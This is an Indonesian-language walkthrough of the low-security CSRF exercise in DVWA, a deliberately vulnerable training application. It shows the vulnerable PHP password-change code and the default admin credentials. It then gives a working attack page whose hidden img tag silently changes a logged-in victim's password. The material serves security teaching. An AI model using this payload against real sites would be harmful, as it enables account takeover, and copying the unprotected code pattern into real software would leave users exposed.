# Low

Di bawah ini adalah *source-code* dari CSRF level low di DVWA.

```php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Secara default, *credetial* yang telah diatur untuk DVWA adalah **admin:password**.

Pertama-tama kita lakukan *recon* terlebih dahulu pada form *change password* tersebut dengan mencoba melakukan perubahan password dan melihat *HTTP request*-nya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb-uV_EzIZMzEBEZTg%2Fimage.png?alt=media\&token=669e2dc5-f8cf-40f2-b543-145594c82ce6)

Terlihat bahwa *request* ini menggunakan method `GET` dan kita bisa tahu parameter yang dikirim ketika melakukan *request*.

Pada level ini tidak ada validasi apa pun selain kecocokan dari kedua form tersebut, sehingga kita bisa dengan mudah melakukan penyerangan.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Jadi begini skenario penyerangannya, saya (seorang peretas yang berniat jahat) membuat website untuk diakses oleh victim. Tampilan halaman webnya adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb1MJZJh-hgbseD-uL%2Fimage.png?alt=media\&token=1ac7f49f-8a41-4c9c-87e8-86a438b8b410)

Memang terlihat tidak berbahaya. Sang victim hanya melihat teks saja. Tapi mari kita lihat apa yang ada dibaliknya.😉

```markup
index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>FBoy Site</title>
</head>
<body>
    <h1>Hey! Tidak ada yang aneh di sini</h1>
    <img style="display: none;" src="http://172.17.0.2/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change">
</body>
</html>
```

Perhatikan tag `img` pada baris ke-11. Alih-alih **src** yang seharusnya merujuk ke aset gambar (contoh: **png** atau **jpeg**), saya membuatnya merujuk (*pointing*) ke *endpoint* form perubahan password yang kita tuju dan melakukan perubahan password menjadi *"pwned"*.

Jadi ketika victim mengunjungi website tersebut, ia tidak sadar bahwa sesuatu telah terjadi. Jika kita lihat *network request*-nya:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb39dBhavFc8F5NwD7%2Fimage.png?alt=media\&token=a94eab43-9687-48e0-b42a-9e66d984d9b6)

Tag `img` tersebut membuat browser mengirim *request* `GET` untuk mengubah password melalui *endpoint* yang sebelumnya kita dapatkan. Dan karena *request* ini berasal dari browser victim, dan victim sudah melakukan autentikasi (login), maka `PHPSESSID` akan terkirim di *HTTP cookie*-nya.

Sekarang kita bisa masuk dengan kata sandi baru *"pwned"*.

Happy Hacking! 🍻
